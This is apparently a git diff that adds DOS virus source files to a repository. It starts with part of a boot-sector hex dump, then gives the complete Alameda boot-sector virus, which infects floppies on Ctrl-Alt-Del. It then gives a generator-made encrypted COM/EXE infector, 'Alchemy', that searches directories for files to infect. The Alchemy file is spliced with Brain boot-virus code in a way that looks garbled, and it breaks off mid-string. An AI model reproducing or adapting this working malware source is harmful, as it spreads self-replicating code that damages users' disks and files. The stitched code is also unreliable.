00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,eb,34,90,49,42 + db 'M 3.3' + db 00,02,02,01,00,02,70,00,d0,02,fd,02,00,09,00,02,00,00,00,00 + db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,12,00,00,00 + db 00,01,00,fa,33,c0,8e,d8,8e,d0,bb,00,7c,8b,e3,1e,53,ff,0e,13 + db 04,cd,12,b1,06,d3,e0,8e,c0,87,06,4e,00,a3,ab,7d,b8,28,01,87 + db 06,4c,00,a3,a9,7d,8c,c0,87,06,66,00,a3,af,7d,b8,bb,00,87,06 + db 64,00,a3,ad,7d,33,ff,8b,f3,b9,00,01,fc,f3,a5,fb,06,b8,85,00 + db 50,cb,53,32,d2,e8,70,00,5b,1e,07,b4,02,b6,01,e8,8a,00,72,10 + db 0e,1f,be,0b,00,bf,0b,7c,b9,2b,00,fc,f3,a6,74,07,5b,58,0e,b8 + db af,00,50,cb,0e,1f,be,db,01,e8,23,00,32,e4,cd,16,33,c0,cd,13 + db 0e,07,bb,0d,02,b9,06,00,33,d2,b8,01,02,cd,13,72,df,b9,f0,0f + db 8e,d9,2e,ff,2e,ad,01,bb,07,00,fc,ac,0a,c0,74,44,79,05,34,d7 + db 80,cb,88,3c,20,76,07,b9,01,00,b4,09,cd,10,b4,0e,cd,10,eb,df + db bb,00,02,b9,02,00,8a,e1,e8,17,00,b9,09,27,26,80,37,fd,74,03 + db b9,0f,4f,eb,13,90,b4,02,bb,00,02,b9,01,00,b6,00,b0,01,9c,2e + db ff,1e,a9,01,c3,50,53,51,52,06,1e,56,57,9c,0e,1f,80,fa,01,77 + db 54,25,00,fe,74,4f,86,c5,d0,e0,02,c6,b4,09,f6,e4,03,c1,2c,06 + db 3d,06,00,77,3c,0e,07,e8,c0,ff,72,30,bf,43,00,be,50,02,b9,0e + db 00,fd,f3,a6,74,27,2b,f1,2b,f9,b1,33,f3,a4,e8,8b,ff,51,53,e8 + db a0,ff,b4,03,33,db,e8,9e,ff,5b,59,72,07,b6,01,b4,03,e8,98,ff + db 33,c0,e8,95,ff,b4,04,cd,1a,80,fe,09,75,06,be,b1,01,e8,3f,ff + db 9d,5f,5e,1f,07 + db 'ZY[X.' + db ff,2e,a9,01,59,ec,02,c6,f2,e6,00,f0,da,dd,20,83,bf,be,a4,f7 + db be,a4,f7,96,be,a5,b4,b8,a7,da,dd,00 + db 'IO SYSMSDOS S' + db 59,53,0d,0a + db 'Non-system disk or d' + db 'isk error' + db 0d,0a,00,00,55,aa + + + + + + diff --git a/a/ALAMEDA (17).ASM b/a/ALAMEDA (17).ASM new file mode 100755 index 0000000..287ade7 --- /dev/null +++ b/a/ALAMEDA (17).ASM @@ -0,0 +1,381 @@ +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH + NOP + ; + PUSH DS ;DS=0 ; ES = DS + POP ES ; + ; + MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 +A7DFC DB 27H,0,8,2 + \ No newline at end of file diff --git a/a/ALCHEMY (18).ASM b/a/ALCHEMY (18).ASM new file mode 100755 index 0000000..6e6a62e --- /dev/null +++ b/a/ALCHEMY (18).ASM @@ -0,0 +1,1039 @@ +; Alchemy.asm : [Arachnyphobia] by Abraxas +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'DA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,07h ; add word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],1 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,10 ; Check month + jb exit_virus + cmp dl,14 ; Check date + jb exit_virus + cmp cx,1991 ; Check year + jae activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate: ; Conditions satisfied + org 0 + + cli + jmp entervirus +idbytes db 34h, 12h +firsthead db 0 +firstsector dw 2707h +curhead db 0 +cursector dw 1 + db 0, 0, 0, 0 + db 'Welcome to the Dungeon ' +copyright db '(c) 1986 Brain' + db 17h + db '& Amjads (pvt) Ltd VIRUS_SHOE ' + db ' RECORD v9.0 Dedicated to th' + db 'e dynamic memories of millions o' + db 'f virus who are no longer with u' + db 's today - Thanks GOODNESS!! ' + db ' BEWARE OF THE er..VIRUS : \th' + db 'is program is catching prog' + db 'ram follows after these messeges' + db '..... $' + db '#@%$' + db '@!! ' +entervirus: + mov ax,cs + mov ds,ax ; ds = 0 + mov ss,ax ; set stack to after + mov sp,0F000h ; virus + sti + mov al,ds:[7C00h+offset firsthead] + mov ds:[7C00h+offset curhead],al + mov cx,ds:[7C00h+offset firstsector] + mov ds:[7C00h+offset cursector],cx + call calcnext + mov cx,5 ; read five sectors + mov bx,7C00h+200h ; after end of virus + +loadnext: + call readdisk + call calcnext + add bx,200h + loop loadnext + + mov ax,word ptr ds:[413h] ; Base memory size in Kb + sub ax,7 ; - 7 Kb + mov word ptr ds:[413h],ax ; Insert as new value + mov cl,6 + shl ax,cl ; Convert to paragraphs + mov es,ax + mov si,7C00h ; Copy from virus start + mov di,0 ; to start of memory + mov cx,1004h ; Copy 1004h bytes + cld + rep movsb + push es + mov ax,200h + push ax + retf ; return to old boot sector + +readdisk: + push cx + push bx + mov cx,4 ; Try 4 times + +tryread: + push cx + mov dh,ds:[7C00h+offset curhead] + mov dl,0 ; Read sector from default + mov cx,ds:[7C00h+offset cursector] + mov ax,201h ; Disk to memory at es:bx + int 13h + jnc readOK + mov ah,0 ; Reset disk + int 13h ; (force read track 0) + pop cx + loop tryread + + int 18h ; ROM basic on failure +readOK: + pop cx + pop bx + pop cx + retn + +calcnext: + mov al,byte ptr ds:[7C00h+offset cursector] + inc al + mov byte ptr ds:[7C00h+offset cursector],al + cmp al,0Ah + jne donecalc + mov byte ptr ds:[7C00h+offset cursector],1 + mov al,ds:[7C00h+offset curhead] + inc al + mov ds:[7C00h+offset curhead],al + cmp al,2 + jne donecalc + mov byte ptr ds:[7C00h+offset curhead],0 + inc byte ptr ds:[7C00h+offset cursector+1] +donecalc: + retn + +; the following is a collection of garbage bytes + db 00h, 00h, 00h, 00h, 32h,0E3h + db 23h, 4Dh, 59h,0F4h,0A1h, 82h + db 0BCh,0C3h, 12h, 00h, 7Eh, 12h + db 0CDh, 21h,0A2h, 3Ch, 5Fh +a_data dw 050Ch +; Second part of the virus begins here + jmp short entersecondpart + db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 +readcounter db 4 ; keep track of # reads +curdrive db 0 +int13flag db 0 + +entersecondpart: + mov cs:readcounter,1Fh + xor ax,ax + mov ds,ax ; ds -> interrupt table + mov ax,ds:[13h*4] + mov ds:[6Dh*4],ax + mov ax,ds:[13h*4+2] + mov ds:[6Dh*4+2],ax + mov ax,offset int13 ; 276h + mov ds:[13h*4],ax + mov ax,cs + mov ds:[13h*4+2],ax + mov cx,4 ; 4 tries + xor ax,ax + mov es,ax ; es -> interrupt table + +tryreadbootsector: + push cx + mov dh,cs:firsthead + mov dl,0 + mov cx,cs:firstsector + mov ax,201h ; read from default disk + mov bx,7C00h + int 6Dh ; int 13h + jnc readbootOK + mov ah,0 + int 6Dh ; int 13h + pop cx + loop tryreadbootsector + + int 18h ; ROM basic on failure +readbootOK: ; return control to + ; original boot sector +;* jmp far ptr 0000:7C00h + db 0EAh, 00h, 7Ch, 00h, 00h + nop ; MASM NOP!!! +int13: + sti + cmp ah,2 ; if not read request, + jne doint13 ; do not go further + cmp dl,2 ; if after second floppy, + ja doint13 ; do not go further + cmp ch,0 ; if not reading boot sector, + jne regularread ; go handle as usual + cmp dh,0 ; if boot sector, + je readboot ; do I<-/>/\|> stuff +regularread: + dec cs:readcounter ; Infect after 4 reads + jnz doint13 ; If counter still OK, don't + ; do anything else + jmp short readboot ; Otherwise, try to infect +doint13: + jmp exitint13h +readboot: +; FINISH THIS! + mov cs:int13flag,0 ; clear flag + mov cs:readcounter,4 ; reset counter + push ax + push bx + push cx + push dx + mov cs:curdrive,dl + mov cx,4 + +tryreadbootblock: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errorreadingbootblock ; Try again + mov dh,0 + mov cx,1 + mov bx,offset readbuffer ; buffer @ 6BEh + push es + mov ax,cs + mov es,ax + mov ax,201h + int 6Dh ; Read boot sector + pop es + jnc continuestuff ; continue if no error +errorreadingbootblock: + pop cx + loop tryreadbootblock + + jmp short resetdisk ; too many failures + nop +continuestuff: + pop cx ; get system id in boot block + mov ax,word ptr cs:[offset readbuffer+4] + cmp ax,1234h ; already infected? + jne dodisk ; if not, infect it + mov cs:int13flag,1 ; flag prev. infection + jmp short noreset +dodisk: + push ds + push es + mov ax,cs + mov ds,ax + mov es,ax + push si + call writevirus ; infect the disk + jc failme ; exit on failure + mov cs:int13flag,2 ; flag success + call changeroot ; manipulate volume label +failme: + pop si + pop es + pop ds + jnc noreset ; don't reset on success +resetdisk: + mov ah,0 ; reset disk + int 6Dh ; int 13h +noreset: + pop dx + pop cx + pop bx + pop ax + cmp cx,1 + jne exitint13h + cmp dh,0 + jne exitint13h + cmp cs:int13flag,1 ; already infected? + jne wasntinfected ; if wasn't, go elsewhere + mov cx,word ptr cs:[offset readbuffer+7] + mov dx,word ptr cs:[offset readbuffer+5] + mov dl,cs:curdrive ; otherwise, read real + jmp short exitint13h ; boot sector +wasntinfected: + cmp cs:int13flag,2 ; successful infection? + jne exitint13h ; if not, just do call + mov cx,cs:firstsector + mov dh,cs:firsthead +exitint13h: + int 6Dh ; int 13h + retf 2 + db 15 dup (0) + +FATManip: ; returns al as error code + jmp short delvedeeper + nop +FATManipreadcounter dw 3 + db ' (c) 1986 Brain & Amjads (pvt) Ltd' +delvedeeper: + call readFAT ; Get FAT ID byte + mov ax,word ptr ds:[offset readbuffer] + cmp ax,0FFFDh ; is it 360K disk? + je is360Kdisk ; continue if so + mov al,3 ; al=3 == not good disk + stc ; flag error + retn ; and exit +is360Kdisk: + mov cx,37h + mov FATManipreadcounter,0 ; none found yet +checknextsector: + call FATentry12bit ; get entry in FAT + cmp ax,0 ; unused? + jne notunused + inc FATManipreadcounter ; one more found unused + cmp FATManipreadcounter,3 ; If need more, + jne tryanother ; go there + jmp short markembad ; found 3 consecutive + nop ; empty sectors +notunused: + mov FATManipreadcounter,0 ; must start over +tryanother: + inc cx ; try next sector + cmp cx,163h ; end of disk? + jne checknextsector ; if not, continue + mov al,1 ; al=1 == none empty + stc ; Indicate error + retn +markembad: + mov dl,3 ; 3 times +markanotherbad: + call markbad12bit + dec cx + dec dl + jnz markanotherbad + inc cx + call calc1sttrack + call writeFAT ; update FAT + mov al,0 ; al=0 == ok + clc ; indicate success + retn + +markbad12bit: + push cx + push dx + mov si,offset readbuffer ; si -> buffer + mov al,cl + shr al,1 + jc low_12 ; low bits + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0F000h ; mark it bad + or ax,0FF7h + jmp short putitback ; and put it back + nop +low_12: + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0Fh ; mark it bad + or ax,0FF70h +putitback: + mov [bx+si],ax ; replace FAT entry + mov word ptr ds:[400h][bx+si],ax ; in two places + pop dx + pop cx + retn + +FATentry12bit: + push cx + mov si,offset readbuffer ; si->buffer + mov al,cl + shr al,1 +; Part 3 of the virus starts here + jc want_high_12 + call clus2offset12bit + mov ax,[bx+si] + and ax,0FFFh + jmp short exitFATentry12bit + nop +want_high_12: + call clus2offset12bit ; xxxxxxxxxxxx0000 + mov ax,[bx+si] ; ^^^^^^^^^^^^wanted + and ax,0FFF0h ; mask wanted bits + mov cl,4 ; and move to correct + shr ax,cl ; position +exitFATentry12bit: + pop cx + retn + +clus2offset12bit: + push dx + mov ax,3 + mul cx + shr ax,1 ; ax = cx*1.5 + mov bx,ax + pop dx + retn + +readFAT: + mov ah,2 ; read + call FAT_IO + retn + +writeFAT: + mov ah,3 ; write + call FAT_IO + retn + +FAT_IO: + mov cx,4 ; try four times +FAT_IOLoop: + push cx + push ax + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop ax + jc tryFAT_IOagain + mov bx,offset readbuffer + mov al,4 ; 4 sectors + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,2 ; sector 2 + push ax ; (FAT) + int 6Dh ; int 13h + pop ax + jnc exitFAT_IO +tryFAT_IOagain: + pop cx + loop FAT_IOLoop + + pop ax + pop ax + mov al,2 + stc ; mark error + retn +exitFAT_IO: + pop cx + retn + +calc1sttrack: + push cx + sub cx,2 + shl cx,1 ; 2 sectors/cluster + add cx,0Ch ; start of data area + mov ax,cx ; ax = sector + mov cl,12h ; 4096 + div cl ; ax/4096 = al rem ah + mov byte ptr firstsector+1,al + mov firsthead,0 + inc ah + cmp ah,9 ; past track 9? + jbe notpasttrack9 ; nope, we are ok + sub ah,9 ; otherwise, adjust + mov firsthead,1 +notpasttrack9: + mov byte ptr firstsector,ah + pop cx + retn + + db 0, 0, 0, 0, 0, 0 +r_or_w_root db 3 +entrycount dw 35h + +tempsave1 dw 303h +tempsave2 dw 0EBEh +tempsave3 dw 1 +tempsave4 dw 100h + db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh + db 8Dh, 98h, 9Fh, 8Eh,0E0h + db ' (c) ashar 